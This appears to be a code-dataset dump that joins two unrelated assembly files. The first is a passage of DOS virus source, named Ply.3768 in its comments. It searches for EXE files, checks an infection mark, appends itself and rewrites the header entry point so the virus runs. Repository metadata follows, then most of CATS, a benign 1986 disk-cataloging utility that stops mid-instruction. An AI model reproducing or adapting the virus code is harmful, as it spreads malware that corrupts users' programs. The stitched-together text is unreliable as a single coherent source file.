; Read twenty-six bytes int 21h nop mov ah,3eh ; Close file nop int 21h nop mov ax,('ZM'+2020h) ; EXE signature sub ax,2020h cmp [si],ax ; Found EXE signature? nop je examine_file ; Equal? Jump to examine_file nop xchg ah,al ; Exchange EXE signature nop cmp [si],ax ; Found EXE signature? nop je examine_file ; Equal? Jump to examine_file nop jmp_find_nxt: mov ax,(4f00h+2020h) ; Find next matching file sub ax,2020h jmp find_next nop examine_file: mov ax,2020h cmp [si+12h],ax ; Already infected? je jmp_find_nxt ; Equal? Jump to jmp_find_nxt nop mov ax,(4301h+2020h) ; Set file attributes sub ax,2020h xor cx,cx ; CX = new file attributes nop lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop mov ax,(3d02h+2020h) ; Open file (read/write) sub ax,2020h lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop xchg bx,ax ; BX = file handle nop nop mov ax,4202h ; Set current file position (EOF) xor cx,cx ; Zero CX nop xor dx,dx ; Zero DX nop int 21h nop mov ax,(4000h+2020h) ; Write to file sub ax,2020h mov cx,(code_end-code_begin) lea dx,code_begin ; DX = offset of code_begin add dx,bp ; Add delta offset nop int 21h nop mov ax,[si+08h] ; AX = header size in paragraphs mov cl,04h ; Multiply by paragraphs nop shl ax,cl ; AX = header size nop push bx ; Save BX at stack nop nop xchg ax,bx ; BX = header size nop nop mov ax,[di+1ah] ; AX = low-order word of filesize mov dx,[di+1ch] ; DX = high-order word of filesize push ax ; Save AX at stack nop nop push dx ; Save DX at stack nop nop sub ax,bx ; Subtract header size from filesize nop sbb dx,00h ; Convert to 32-bit mov cx,10h div cx ; Divide by paragraphs nop mov [si+14h],dx ; Store instruction pointer mov [si+16h],ax ; Store code segment lea bx,delta_offset ; BX = offset of delta_offset add bx,bp ; Add delta offset nop mov [bx],dx ; Store delta offset nop inc ax ; Increase AX nop nop mov [si+0eh],ax ; Store stack segment mov ax,(code_end-code_begin+0c0h) add dx,ax ; DX = stack pointer nop mov ax,1111111111111110b and dx,ax ; DX = " " nop mov [si+10h],dx ; Store stack pointer mov ax,2020h ; AX = infection mark mov [si+12h],ax ; Store infection mark pop dx ; Load DX from stack nop nop pop ax ; Load AX from stack nop nop add ax,(code_end-code_begin) adc dx,00h ; Convert to 32-bit mov cl,09h nop push ax ; Save AX at stack nop nop shr ax,cl ; Multiply by pages nop ror dx,cl ; " " " nop stc ; Set carry flag nop nop adc dx,ax ; DX = total number of 512-bytes p... nop pop ax ; Load AX from stack nop nop and ah,00000001b mov [si+04h],dx ; Store totalt number of 512-bytes... mov [si+02h],ax ; Number of bytes in last 512-byte... pop bx ; Load BX from stack nop nop mov ax,4201h ; Set current file position (CFP) mov cx,-01h mov dx,-(code_end-delta_offset) int 21h nop mov ax,(4000h+2020h) ; Write to file sub ax,2020h mov cx,02h ; Write two bytes lea dx,delta_offset ; DX = offset of delta_offset add dx,bp ; Add delta offset nop int 21h nop mov ax,4200h ; Set current file position (SOF) xor cx,cx ; Zero CX nop xor dx,dx ; Zero DX nop int 21h nop mov ax,(4000h+2020h) ; Write to file sub ax,2020h mov cx,1ah ; Write twenty-six bytes mov dx,si ; DX = offset of file_header nop int 21h nop mov ax,(5701h-2020h) ; Set file's date and time add ax,2020h mov cx,[di+16h] ; CX = file time mov dx,[di+18h] ; DX = file date int 21h nop mov ah,3eh ; Close file nop int 21h nop mov ax,(4301h+2020h) ; Set file attributes sub ax,2020h mov ch,00h ; Zero CH nop mov cl,[di+15h] ; CL = file attribute lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop mov ah,4fh ; Find next matching file nop jmp find_next int24_virus proc near ; Interrupt 24h of Ply.3768 mov al,03h ; Fail system call in progress nop jmp int24_exit nop endp virus_exit: mov ah,62h ; Get current PSP address nop int 21h nop mov es,bx ; ES = segment of PSP for current ... nop mov cx,bx ; CX = " " " " " " nop add cx,10h ; CX = segment of beginning of code lea si,instruct_ptr ; SI = offset of instruct_ptr add si,bp ; Add delta offset nop add [si+02h],cx ; Add segment of beginning of code... add cx,[si+04h] ; Add original stack segment to se... cli ; Clear interrupt-enable flag nop nop xor ax,ax ; Zero AX nop poly_end: mov sp,[si+06h] ; SP = stack pointer mov ss,cx ; SS = stack segment sti ; Set interrupt-enable flag push ax ; Save AX at stack mov ds,bx ; DS = segment of PSP for current ... db 0eah ; JMP imm32 (opcode 0eah) instruct_ptr dw ? ; Instruction pointer code_seg dw ? ; Code segment stack_seg dw ? ; Stack segment stack_ptr dw ? ; Stack pointer int24_exit: iret ; Interrupt return! db 00h,00h file_specifi db '*.VXE',00h ; File specification file_header dw 0ah dup(?),00h,0fff0h,? db 00h poly_buffer db 03h dup(?) ; Polymorphic buffer poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?)) code_end: dta: db 15h dup(?) ; Used by DOS for find next-process file_attr db ? ; File attribute file_time dw ? ; File time file_date dw ? ; File date filesize dd ? ; Filesize filename db 0dh dup(?) ; Filename data_end: end code_begin
26.469256
77
0.51078
69f6bf9a72919882ee5f81bd21325a6f10a4c3ff
46,230
asm
Assembly
cats.asm
guyp001/cats
ce3417052be2ce215ac02585d21dfffe4b5483f2
[ "DOC", "Unlicense" ]
null
null
null
cats.asm
guyp001/cats
ce3417052be2ce215ac02585d21dfffe4b5483f2
[ "DOC", "Unlicense" ]
null
null
null
cats.asm
guyp001/cats
ce3417052be2ce215ac02585d21dfffe4b5483f2
[ "DOC", "Unlicense" ]
null
null
null
TITLE CATS ; Copyright 1986 by William C. Parke ; ; find buffer structure (functions 4E, 4F) ; DB 21 DUP(?) ; reserved ; DB ? ; attribute at +15H +21 ; DW ? ; time at +16H +22 ; DW ? ; date at +18H +24 ; DW ? ; size low at +1AH +26 ; DW ? ; size high at +1CH +28 ; DB 13 DUP(?) ; packed name at +1EH +30 ; end ; at +2BH +43 ;ARC FILE STRUCTURE ; compression code and styles (to date) ; 0 = archive EOF -------- no more files ; 1 = old, no compression, short header store extract ; 2 = new, no compression Store Extract ; 3 = dle for repeat chars Pack Un-Pack ; 4 = huffman encoding Squeeze unSqueeze ; 5 = lz, no dle (Lempel, Ziv) crunch uncrunch ; 6 = lz with dle (delete repeats) Crunch unCrunch ; 7 = lz with readjust urunch Uncrunch ; 8 = lz with readjust and dle Crunch UnCrunch ; 9 = modified lzw, no dle (Welch) Squash UnSquash HEADER STRUC ; archive header PREFIX DB 1AH ; signature byte +0 MBRCODE DB 1 DUP(?) ; compression code +1 MBRNAME DB 13 DUP(?) ; file name +2 MBRSIZE DD 1 DUP(?) ; file size in archive +15 MBRDATE DW 1 DUP(?) ; creation date +19 MBRTIME DW 1 DUP(?) ; creation time +21 MBRCRC DW 1 DUP(?) ; CRC for true file +23 MBRLEN DD 1 DUP(?) ; true file size, bytes +25 HEADER ENDS ; +29 ZHEADER STRUC ZSIGN DD 04034B50H ; local file header signature +0 ZVERS DW 0 ; version to extract (os/ver) +4 ZBITF DW 0 ; general purpose bit flag +6 ZCOMP DW 0 ; compression method +8 ZMTIM DW 0 ; last mod file time +10 ZMDAT DW 0 ; last mod file date +12 ZCRC DD 0 ; crc-32 +14 ZCSIZ DD 0 ; compressed size +18 ZTSIZ DD 0 ; uncompressed size +22 ZFNS DW 0 ; filename length +26 ZEFS DW 0 ; extra field length +28 ZHEADER ENDS LF EQU 0AH CR EQU 0DH ESCP EQU 1BH NUL EQU 0 ; CATS SEGMENT ASSUME DS:CATS, SS:CATS ,CS:CATS ,ES:CATS ORG 93H PUBLIC VATT,FILCHR,ARCFLG,HIDFLG,SYSFLG,VOLFLG,PATHSW,SECSW,MAXCOL,SATTR PUBLIC DIRSW,DIRFLG,FILSP,FLGSP,FIELD,FREL,FREE,NCATBUF,CATDIR,NCATSB,CATS DR PUBLIC CATHAN,CATHI,CATLO,NFSIZ,FPTR,CURDSK,MAXDR,DRINX,ROWSW,SFLAG PUBLIC FREF,VASK,RASK,NOLAB,CATSW,NDRSW,DFLAG,MFLAG,MGFLG,MSIZ,MSERBCD,SAV CTLC PUBLIC SAVCTLS,STRBEG,FILEW,SFILE,WNAME,FNAM,BUFFR,SIZN,SIZF,ROOT,VFCB PUBLIC NVFCB,NVBUF,CPATHR,CPATH,VLABS,VLAB,BLANK,DVAL,NUMFILE,LBUFN,LBUFF PUBLIC ARCFIL PUBLIC HELP1$,INSW$,NODOS$,CRLF$,NODR$,NODRM$,NOCAT$,NOCAT2$,BADCAT$ PUBLIC APPEND$,APPDR,APPLB$,APPTO$,VFILE$,NOVOL$,NOVDR,VPRES$,NEWVOL$ PUBLIC MSTER$,MSTART$,LIST$,CURVOL$,CURVDR,CHVOL$,USVOL$,ZVOL$,SAMVOL$ PUBLIC INVOL$,FIN$,FDR,FPR$,FPS$,FPT$,ERR$,OLDCAT$,COLN$,GIVCAT$,NCATS$ PUBLIC NCATT$,INCAT$,NEWCAT$ VATT DB 1 DUP(?) ORG 100H START: JMP BEGIN FILCHR DB '.' ; fill line character 103 ARCFLG DB ' ' ; archive flag char 104 HIDFLG DB 'h' ; hidden flag char 105 SYSFLG DB 'S' ; system flag char 106 VOLFLG DB 'V' ; volume flag char 107 PATHSW DB 0FFH ; show paths switch 108 SECSW DB 0 ; show seconds in 1 109 MAXCOL DB 78 ; columns 10A SATTR DW 0FFH ; search subset of this attribute 10B DIRSW DB 1 ; show directories if 1 10D DIRFLG DB 'D' ; directory flag char 10E FILSP DB 1 ; add space before file ext if 1 10F FLGSP DB 2 ; space reserved for attrib field 110 VRECL DB 1 ; variable record length flag 111 FIELD DB ' ' ; field separator 112 QMARK DB '?' ; numeric overflow 113 NODAT DB '*' ; no date char 114 NOTIM DB '*' ; no time char 115 ARCHF DB 'a' ; archive internal file 116 ARCFIL DB 4 ; not processing arc file 117 VASK DB 0 ; ask for volume label 118 CATSW DB 0 ; change default cat name 119 DFLAG DB 0 ; display files 11A MFLAG DB 0 ; make serial numbers 11B NOLAB DB 0 ; do not write label 11C QFLG DB 0 ; quiet flag 11D ARCHZ DB 'z' ; zip internal file 11E DB 2 dup(0) DOSVER DB 0 FREL DW 15 FREE DB '\ <- Free Space',0 DB 14 DUP(0) NCATBUF DB 64,0 CATDIR DB '\CAT\CATS.DIR',0 DB 52 DUP(0) NCATSB DB 64,0 CATSDR DB 'CATS.COM',0 DB 56 DUP(0) CATHAN DW 0 CATHI DW 0 CATLO DW 0 NFSIZ DW 0 FPTR DW 0 CURDSK DB 0 MAXDR DB 0 DRINX DB 0 ROWSW DB 0 SFLAG DB ' ' ; store current file flag symbol DOTLEN DW 0 ; FREF DB 0 RASK DB 0 NCATSW DB 0 NDRSW DB 0 MGFLG DB 0 ARCHAN DW 0 ARCPTR DW 0 MSIZ DB 0 MVASCI DB 0 MSERBCD DW 0 SAVCTLC DW 0 SAVCTLS DW 0 STRBEG DW 0081H FILEW DB '*.*',0 SFILE DB '\',64 DUP(0) DB 32 DUP(0) WNAME DB 'A:\*.*',0 FNAM DB 0,'*.*',0,0,0,0,0,0,0,0,0 BUFFR DB 16 DUP(0) SIZN DW 0 SIZF DB ' ',0 ROOT DB '\',0 VFCB DB 0FFH,0,0,0,0,0,8,0,'???????????' ; search first vol DB 25 DUP(0) NVFCB DB 0FFH,0,0,0,0,0,8,0,' ' DB 25 DUP(0) NVBUF DB 16 DUP(0) SBUF DB 16 DUP(0) CPATHR DB '\' CPATH DB 64 DUP(0) NVLAB DB 0 VLABS DB ' ' VLAB DB 11 DUP(20H),0 BLANK DB 11 DUP(20H),0 DVAL DW 0 NUMFILE DW 0 LBUFN DW 0 LBUFF DB CR,LF ; HELP$ DB 'CATS is designed to catalog multiple disks. Command Syntax: ',CR,LF,CR,LF DB ' CATS x: [catname][/s]',CR,LF,CR,LF DB 'where x: is a valid drive name' DB ' for the disk you wish cataloged, and',CR,LF DB ' [catname] is the optional' DB ' drive:\path\filename for your catalog file.',CR,LF DB 'If no catname is given, the default: ',NUL HELP1$ DB ' is used.',CR,LF DB ' [/s] represents optional switches. s=',CR,LF DB ' A to Add compressed-file directories (ARC or ZIP) to catalog',CR,LF DB ' C to Change the default Catname within ',NUL HELP2$ DB CR,LF DB ' D to Display disk files onto the console',CR,LF DB ' F to Force comma Field separator in catalog',CR,LF DB ' M to Make sequential numerical volume labels',CR,LF DB ' N to Not write your New volume label onto current disk',CR,LF DB ' Q to Quit after single disk is finished in Quiet mode',CR,LF DB ' R to Record fixed length Records in catalog',CR,LF DB ' V to Verify current disk Volume label',CR,LF DB ' All switches can be combined (e.g. /NVC ).',CR,LF,NUL INSW$ DB CR,LF,'Invalid switch.',CR,LF,NUL NODOS$ DB 'MS-DOS version above 2.0 required.' CRLF$ DB CR,LF,NUL,8 NODR$ DB ' : is an invalid drive. Current drives are A: to ' NODRM$ DB ' :.',CR,LF,NUL NOCAT$ DB CR,LF,'Catalog file: ',NUL NOCAT2$ DB ' not found. Create it (Y or N) ? ',NUL BADCAT$ DB 'Bad catalog drive, path, or file name.',CR,LF,NUL APPEND$ DB CR,LF,'Appending files from disk in drive ' APPDR DB ' : ',NUL APPLB$ DB 'with volume label: ',NUL APPTO$ DB CR,LF,' to catalog file: ',NUL VFILE$ DB CR,LF,'Volume name matches a file name. ',NUL NOVOL$ DB CR,LF,'Current disk in drive ' NOVDR DB ' : has no volume label. ' VPRES$ DB ' Press:',CR,LF DB ' -> <RETURN> to exit program, or' NEWVOL$ DB CR,LF DB ' -> Give a new volume label for current disk: ' DB '-> ___________ <-' DB 14 DUP(08),NUL MSTER$ DB CR,LF,'Volume label error. Sample format: VOLUME 000' MSTART$ DB CR,LF DB ' -> Give a new volume label and starting volume serial number',CR,LF DB 'using last three characters:' DB ' -> ' MST DB '_______ 000 <-' DB 14 DUP(08),NUL LIST$ DB 'Do you wish to display current files on the console (Y or N) ? ',NUL CATL$ DB 'Do you wish to catalog this disk (Y or N) ? ',NUL CURVOL$ DB 'Current volume label in drive ' CURVDR DB ' : is: ',NUL CHVOL$ DB 'Do you wish to change this volume label (Y or N) ? ',NUL USVOL$ DB 'Do you wish to use a different label in catalog (Y or N) ? ',NUL ZVOL$ DB 'Exiting without adding a volume label.',CR,LF,NUL SAMVOL$ DB 'Volume label left unchanged.',CR,LF,NUL INVOL$ DB 'Error creating volume label.',CR,LF DB 'Possible conflict with a file name. Also,',CR,LF DB 'Check for invalid characters in label or foreign disk.',CR,LF,NUL FIN$ DB CR,LF,' Finished cataloging disk in drive ' FDR DB ' : with volume label: ',NUL FPR$ DB CR,LF,'Press:',CR,LF DB ' -> <A drive letter> to catalog disk in new drive;',NUL FPS$ DB CR,LF DB ' -> <SPACE> to catalog disk in the same drive;' FPT$ DB ' or',CR,LF DB ' -> <RETURN> to exit program.',CR,LF,NUL ERR$ DB CR,LF,'Error writing to catalog file: ',NUL OLDCAT$ DB CR,LF,'Current default catalog file name is' COLN$ DB ':',CR,LF,NUL GIVCAT$ DB CR,LF,'Give a new default catalog name in form:',CR,LF,CR,LF DB ' drive:\path\filename',CR,LF,CR,LF,NUL NCATS$ DB CR,LF,'The catalog program, ',NUL NCATT$ DB CR,LF,'was not found.',CR,LF,NUL INCAT$ DB CR,LF,'Catalog name was not changed.',CR,LF,NUL NEWCAT$ DB CR,LF,CR,LF,'New default catalog path name is: ',NUL PUBLIC BEGIN,CAT1,CATO,CAT1A,CAT12,CAT13S,CAT18,CAT14A,CAT14B,CAT15 PUBLIC CAT15A,CAT15M,CAT15B,CAT15C,CAT15D,CAT16,CAT1O,CAT13,CAT13F PUBLIC CAT14,CAT2,CAT4,CAT4A,CAT4B,CAT4C,CAT5R,CAT5AA,CAT5AB,CAT5AG PUBLIC CAT52,CAT53,CAT71,CAT72,CAT73,CAT74,GETSRA,GETSRB,GETSRC PUBLIC GETSRN,GETSRE,GETSRP BEGIN: CLD MOV DVAL,AX ; save drive validity bytes MOV AH,30H INT 21H ; get dos version MOV DOSVER,AL CMP AL,2 ; dos errorlevel=2 JNC CAT1 MOV DX,OFFSET NODOS$ ; incorrect dos version CALL STRCON MOV AX,WORD PTR 4C01H ; incorrect dos errorlevel=1 INT 21H ; terminate process CAT1: MOV AH,19H INT 21H ; get current disk MOV CURDSK,AL ; save current disk index JMP CAT1A CATO: MOV DI,80H MOV AL,' ' MOV CL,[DI] ; command tail length XOR CH,CH INC DI REPZ CMPSB ; skip spaces MOV AL,[DI] ; get specified drive MOV DI,OFFSET NODR$ MOV [DI],AL ; put in error message MOV DX,DI MOV AL,3 ; drive errorlevel=3 JMP DDEXIT CAT1A: MOV SI,80H ; set up command tail string MOV CL,[SI] ; get length XOR CH,CH MOV DI,SI INC DI ADD DI,CX ; point to end of string MOV [DI],BYTE PTR 0 ; terminate string with null AND CX,CX ; see if any tail JNZ CAT12 JMP DHELP ; show help screen CAT12: PUSH CX MOV DI,SI INC DI MOV AL,'/' REPNZ SCASB ; look for switches AND CX,CX MOV BX,CX POP CX JNZ CAT13S JMP CAT16 ; no switches CAT13S: MOV CX,BX ; get back remaining byte count PUSH DI ; save sw ptr DEC DI ; point to '/' MOV BYTE PTR [DI],0 ; add new terminator over '/' MOV CX,DI SUB CX,SI DEC CX ; si starts at 80 MOV AL,' ' CMP BYTE PTR [DI-1],AL ; is there a space before '/' JNZ CAT18 ; no STD DEC DI ; point to space PUSH CX REPZ SCASB ; back up through spaces POP CX CLD INC DI ; point to first space INC DI ; point to sw location CAT18: MOV CX,DI SUB CX,SI DEC CX ; new string length MOV BYTE PTR [DI],0 ; new string terminator POP DI ; get back first sw ptr CAT14A: MOV AL,[DI] INC DI AND AL,AL JZ CAT16 CMP AL,'a' JC CAT14B AND AL,5FH ; make switch upper case CAT14B: CMP AL,'V' JNZ CAT15 XOR VASK,1 ; ask for new label JMP SHORT CAT14A CAT15: CMP AL,'C' JNZ CAT15A XOR CATSW,1 ; change default cat name JMP SHORT CAT14A CAT15A: CMP AL,'D' JNZ CAT15M XOR DFLAG,1 ; display files on console JMP SHORT CAT14A CAT15M: CMP AL,'M' JNZ CAT15B XOR MFLAG,1 ; make serial numbered labels JMP SHORT CAT14A CAT15B: CMP AL,'N' JNZ CAT15C XOR NOLAB,1 ; no writing new label JMP SHORT CAT14A CAT15C: CMP AL,'F' JNZ CAT15O MOV FIELD,',' ; use comma separator JMP SHORT CAT14A CAT15O: CMP AL,'R' JNZ CAT15Q XOR VRECL,1 ; use fixed record length JMP SHORT CAT14A CAT15Q: CMP AL,'A' JNZ CAT15R XOR ARCFIL,1 ; expand archive files JMP SHORT CAT14A CAT15R: CMP AL,'Q' JNZ CAT15P XOR QFLG,1 JMP SHORT CAT14A CAT15P: CMP AL,' ' JZ CAT14A CMP AL,'/' JZ CAT14A CAT15D: MOV DX,OFFSET INSW$ CALL STRCON ; show error in switch syntax JMP DHELP CAT16: MOV AX,DVAL CMP AL,0FFH JNZ CAT1O JMP CATO ; incorrect drive given CAT1O: INC CX ; must be 1 higher for SCASB MOV AL,' ' MOV DI,SI INC DI REPZ SCASB ; skip spaces DEC DI ; pt to char after space JCXZ CAT13 MOV AL,':' MOV SI,DI ; save di MOV BP,CX ; save cx INC CX REPNZ SCASB ; look for ':' AND CX,CX JNZ CAT14 CAT13: TEST CATSW,1 JZ CAT13F JMP GETCAT CAT13F: JMP DHELP CAT14: DEC DI DEC DI ; point to X: INC CX CMP BYTE PTR [DI+2],0; end of tail JZ CAT2 CMP BYTE PTR [DI+2],' ' ; see if space follows ':' JNZ CAT13 CAT2: MOV NDRSW,1 ; show drive was given MOV AL,[DI] ; get proposed drive label INC DI INC DI DEC CX DEC CX AND AL,5FH SUB AL,'A' ; make a drive index MOV SI,DI ; save di MOV BP,CX ; save cx MOV DRINX,AL ; save it ADD AL,'A' MOV APPDR,AL MOV NODR$,AL MOV FDR,AL MOV CURVDR,AL MOV NOVDR,AL MOV AL,' ' MOV DI,SI ; restore di MOV CX,BP ; restore cx CAT4: JCXZ CAT5R MOV AL,' ' CMP [DI],AL JNZ CAT4A REPZ SCASB DEC DI JCXZ CAT5R CAT4A: CMP BYTE PTR [DI],0 JZ CAT5R INC CX INC CX ; include terminating 0 MOV SI,DI MOV DI,OFFSET CATDIR CAT4B: LODSB CMP AL,'a' JC CAT4C AND AL,5FH CAT4C: STOSB LOOP CAT4B MOV NCATSW,1 ; show we have a new catalog CAT5R: TEST CATSW,1 JZ CAT5AA JMP GETCAT CAT5AA: CALL GIVCR CAT5AB: MOV AX,3D02H MOV DX,OFFSET CATDIR INT 21H ; open catdir for rd/wr JNC CAT53 CAT5AG: MOV DX,OFFSET NOCAT$ CALL STRCON ; say can't open, create ? CALL SHOCAT MOV DX,OFFSET NOCAT2$ CALL STRCON MOV AX,0C01H INT 21H AND AL,5FH CMP AL,'Y' JZ CAT52 CMP AL,'N' JNZ CAT5AG CALL CONCRL MOV AL,5 ; no cats.dir given errorlevel=5 JMP EXIT CAT52: CALL CONCRL MOV DX,OFFSET CATDIR MOV AX,3C00H XOR CX,CX ; file attribute INT 21H ; create catdir JNC CAT53 MOV DX,OFFSET BADCAT$ MOV AL,5 ; bad cats.dir open errorlevel=5 JMP DEXIT CAT53: MOV CATHAN,AX MOV BX,AX MOV AX,4202H XOR CX,CX MOV DX,CX INT 21H ; set ptr to end of file MOV CATHI,DX MOV CATLO,AX ; catdir size in bytes DX:AX MOV AL,MAXCOL SUB AL,46 CMP AL,6 JNC CAT71 MOV AL,33 CAT71: TEST SECSW,1 JZ CAT72 ; show no seconds DEC AL DEC AL DEC AL CAT72: TEST FILSP,1 JZ CAT73 DEC AL CAT73: MOV AH,FLGSP AND AH,3 SUB AL,AH XOR AH,AH CMP BYTE PTR FIELD,' ' JZ CAT74 MOV AH,FIELD MOV FREE,AH XOR AH,AH CAT74: TEST BYTE PTR VRECL,1 JZ CAT74F MOV AX,254 CAT74F: MOV DOTLEN,AX ; comment width MOV AH,35H PUSH ES INT 21H MOV SAVCTLC,BX MOV SAVCTLS,ES POP ES MOV AX,2523H MOV DX,OFFSET CTLCH ; control C handler INT 21H TEST MFLAG,1 ; make numeric sequence ? JNZ CAT7M JMP CATC CAT7M: CALL GETSR0 JC CAT7N JMP CATC CAT7N: CALL CONCRL JMP CAT54 GETSER: MOV CX,6 MOV SI,OFFSET NVBUF+2 MOV DI,OFFSET SBUF ; save current serial name REP MOVSW XOR AL,AL STOSB MOV SI,OFFSET MST ; dashes MOV DI,OFFSET NVBUF+2 MOV CX,6 REP MOVSW ; save dashes MOV CX,11 MOV SI,OFFSET SBUF MOV DI,OFFSET MST REP MOVSB ; put in current vol ser MOV DX,OFFSET MSTART$ CALL STRCON MOV CX,11 MOV SI,OFFSET NVBUF+2 MOV DI,OFFSET MST REP MOVSB ; restore dashes MOV MGFLG,1 ; show this is a repeat JMP SHORT GETSRR GETSR0: MOV DX,OFFSET MSTART$ GETSRA: CALL STRCON GETSRR: MOV AX,0C0AH MOV DI,OFFSET NVBUF MOV DX,DI MOV BYTE PTR [DI],12 ; vol name with number ext INT 21H ; flush and input to buffer CMP BYTE PTR [DI+1],0 JNZ GETSRB JMP GETSRE ; exit GETSRB: CMP BYTE PTR [DI+2],' ' JNZ GETSRC JMP GETSRH GETSRC: CALL CONCRL MOV AL,[DI+1] MOV MSIZ,AL ; save input buffer size CMP AL,8 JA GETSR1 XOR CX,CX MOV CL,BYTE PTR 8 SUB CL,AL AND CL,CL JZ GETSR2 PUSH DI MOV BL,AL XOR BH,BH ADD DI,BX INC DI INC DI MOV AL,' ' REP STOSB POP DI GETSR2: MOV AL,'0' MOV CX,3 PUSH DI ADD DI,10 REP STOSB POP DI MOV [DI+1],BYTE PTR 11 GETSR1: CMP BYTE PTR [DI+1],11 JNZ GETSRH ADD DI,9 ; point to ext-1 MOV CX,4 MOV BL,[DI] CMP BL,'0' JAE GETSRD GETSRI: MOV MVASCI,BL MOV CX,3 INC DI JMP SHORT GETSRF GETSRD: CMP BL,'9' JA GETSRI GETSRF: XOR AX,AX MOV BP,10 GETSRN: MOV BL,[DI] SUB BL,'0' JAE GETSRP GETSRH: MOV DX,OFFSET MSTER$ JMP GETSRA GETSRP: CMP BL,9 JA GETSRH XOR BH,BH MUL BP ADD AX,BX INC DI LOOP GETSRN MOV SI,OFFSET NVBUF+9 LODSW MOV DX,0F30H MOV CX,4 SUB AH,DL SUB AL,DL AND AH,DH AND AL,DH SHL AL,CL ADD AL,AH MOV BH,AL LODSW SUB AH,DL SUB AL,DL AND AL,DH SHL AL,CL ADD AL,AH MOV BL,AL CMP MSIZ,BYTE PTR 8 JA GETSR5 TEST MGFLG,1 JZ GETSR5 GETSR4: MOV DI,OFFSET NVBUF+2 MOV SI,OFFSET SBUF MOV BL,MSIZ XOR BH,BH ADD DI,BX ADD SI,BX MOV CX,11 SUB CL,MSIZ REP MOVSB MOV DI,OFFSET NVBUF MOV AL,BYTE PTR 11 MOV [DI+1],AL INC AL MOV [DI],AL XOR AL,AL MOV [DI+13],AL RET GETSR5: MOV MSERBCD,BX ; BCD volume serial number MOV DI,OFFSET NVBUF RET GETSRE: TEST MGFLG,1 JNZ GETSRG STC RET GETSRG: MOV MSIZ,BYTE PTR 0 JMP SHORT GETSR4 PUBLIC CATC,CATE,CATTLA,CATTLQ,CATTLY,CATTLY,CATTL,CATD,CATTD,CATDA PUBLIC CAT54,CAT55,CAT55M,CAT5L,CAT5M,CAT56,CAT57,CAT58,CAT5P,CAT59N,CAT60 PUBLIC CAT60R,CAT61,CAT63,CAT63C,CAT62,CAT63A,CAT64,CAT65,CAT65M,CAT6L PUBLIC CAT6M,CAT66,CAT67,CAT68,CAT7,CAT8,CAT81,CAT9,CAT91,CAT10 ; loop re-entry point for cataloging different disks CATC: MOV DL,CURDSK MOV AH,0EH INT 21H ; assure we are back on org disk MOV AL,DRINX ADD AL,'A' MOV APPDR,AL MOV NODR$,AL MOV FDR,AL MOV CURVDR,AL MOV NOVDR,AL MOV WNAME,AL ; use wild name to check disk ready MOV AH,1AH ; without selecting that drive MOV DX,80H INT 21H ; set DTA at default MOV AH,4EH MOV DX,OFFSET WNAME MOV CX,0FFH ; find anything INT 21H ; find first match ; if we are here, then disk is in drive (and not Aborted by user) MOV DL,DRINX MOV AH,0EH INT 21H ; select disk for first file DEC AL AND AL,31 MOV MAXDR,AL ; maximum number of drives - 1 CMP AL,DL JNC CATE MOV AL,3 ; drive errorlevel=3 JMP DDEXIT CATE: MOV AH,47H MOV SI,OFFSET CPATH MOV DL,DRINX INC DL INT 21H ; get current directory MOV AH,3BH MOV DX,OFFSET ROOT INT 21H ; go to root MOV BYTE PTR VFCB+7,0; set to default drive MOV DX,OFFSET VFCB MOV AH,11H INT 21H ; search first volume label for list INC AL MOV CX,11 MOV SI,WORD PTR 88H ; fcb volume name JNZ CATTLA ; found label MOV NVLAB,1 ; flag no label MOV SI,OFFSET BLANK ; blank label CATTLA: MOV DI,OFFSET VLAB PUSH DI REP MOVSB ; save volume label POP DI TEST DFLAG,1 JZ CATTL ; SHOW LIST CATTLQ: MOV DX,OFFSET LIST$ CALL ANSWER JC CATTLQ JNZ CATTLR CATTLY: PUSH CATHAN MOV CATHAN,1 ; console MOV BX,OFFSET SFILE+1 MOV DX,0 ; flag to set up DTA CALL FILES ; main program to catalog files CALL CONCRL MOV AH,3BH MOV DX,OFFSET ROOT INT 21H ; go to root MOV AH,1AH MOV DX,80H INT 21H ; set DTA at default POP CATHAN CATTLR: MOV DX,OFFSET CATL$ CALL ANSWER JC CATTLR JZ CATTL JMP CAT7Z CATTL: MOV BYTE PTR VFCB+7,0; set to default MOV DX,OFFSET VFCB MOV AH,11H INT 21H ; search first volume label INC AL MOV NVLAB,1 ; flag no label JZ CATD ; volume label not found MOV NVLAB,0 ; flag label found JMP CAT60 CATD: TEST MFLAG,1 JZ CATTD MOV DI,OFFSET NVBUF TEST VASK,1 JZ CAT55M CALL GETSER JMP CAT55M CATTD: MOV DX,OFFSET NOVOL$ CATDA: CALL STRCON MOV AX,0C0AH MOV DI,OFFSET NVBUF MOV DX,DI MOV BYTE PTR [DI],12 INT 21H ; flush and input to buffer CMP BYTE PTR [DI+1],0 JNZ CAT55 CMP BYTE PTR [DI+2],' ' JNZ CAT55 CAT54: XOR AX,AX MOV DX,OFFSET ZVOL$ ; say volume label not changed CALL STRCON MOV AL,7 ; volume label errorlevel=7 JMP EXIT CAT55: CALL CONCRL CALL CONCRL CAT55M: INC DI ; point to number typed MOV CL,[DI] XOR CH,CH INC DI MOV SI,DI ; point to input buffer MOV DI,OFFSET NVFCB+8; put here PUSH CX MOV CX,11 PUSH DI MOV AL,' ' REP STOSB ; put spaces in POP DI POP CX AND CX,15 JZ CAT54 XOR BX,BX CAT5L: LODSB CMP AL,' ' JC CAT56 CMP AL,'A' JC CAT5M AND AL,5FH ; make upper case CAT5M: INC BX STOSB LOOP CAT5L CAT56: TEST NOLAB,1 ; check for no label write JNZ CAT59N MOV DX,OFFSET NVFCB MOV BYTE PTR NVFCB+7,0 ; set to default drive MOV BYTE PTR NVFCB+6,37H ; search for all but volume MOV AH,11H INT 21H ; search for it MOV BYTE PTR NVFCB+6,8 ; put back vol attrib INC AL JZ CAT58 ; not found, that's good CAT57: MOV DX,OFFSET VFILE$ ; volume label is a file CALL STRCON MOV DX,OFFSET VPRES$ JMP CATDA CAT58: MOV BYTE PTR NVFCB+7,0 ; set for default drive MOV DX,OFFSET NVFCB MOV AH,16H INT 21H ; create new volume label INC AL MOV NVLAB,0 JNZ CAT59N CAT5P: MOV NVLAB,1 MOV AL,7 ; errorlevel=7: cannot create label MOV DX,OFFSET INVOL$ CALL STRCON MOV DX,OFFSET VPRES$ JMP CATDA CAT59N: MOV CX,11 MOV SI,OFFSET NVFCB+8 MOV DI,88H REP MOVSB ; put vol name in DTA MOV 